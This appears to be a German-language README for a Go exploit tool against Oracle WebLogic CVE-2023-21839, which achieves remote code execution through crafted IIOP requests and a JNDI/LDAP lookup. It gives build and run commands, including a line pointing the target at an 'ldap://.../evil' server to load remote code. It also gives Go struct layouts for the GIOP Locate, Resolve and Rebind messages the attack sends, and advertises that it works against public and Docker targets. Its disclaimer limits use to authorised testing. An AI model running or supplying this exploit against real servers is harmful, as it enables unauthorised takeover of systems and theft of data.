
Weblogic CVE-2023-21839 RCE (keine Java-Abhängigkeit, Ein-Klick-RCE)
Die Nutzung dieses Projekts zum Angriff oder Testen von Zielen ohne Genehmigung ist illegal. Dieses Programm sollte nur für autorisierte Sicherheitstests und Forschungszwecke verwendet werden.
Weblogic CVE-2023-21839 RCE
(1)Ohne Java-Abhängigkeiten, konstruiert das Protokoll direkt über Socket für RCE
(2)NAT-Netzwerkproblem von IIOP gelöst (ermöglicht Tests von Docker und öffentlichen Zielen)
(3)Getestet unter Windows/Mac OS/Linux und Weblogic 12/14
(4)Bitte starten Sie Weblogic mit JDK 8u191 oder niedriger und richten Sie einen eigenen JNDI-Server ein
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

Locate Request
type LocateRequest struct {
Header *Header
RequestId []byte // 4
TargetAddress []byte // 2
_reserved []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
}
Resolve Request
type ResolveRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 1
ServiceContextList *ServiceContextList
CosNamingDissector []byte // no limit
}
Rebind Request
type RebindRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 2
ServiceContextList *ServiceContextList
StubData []byte // no limit
}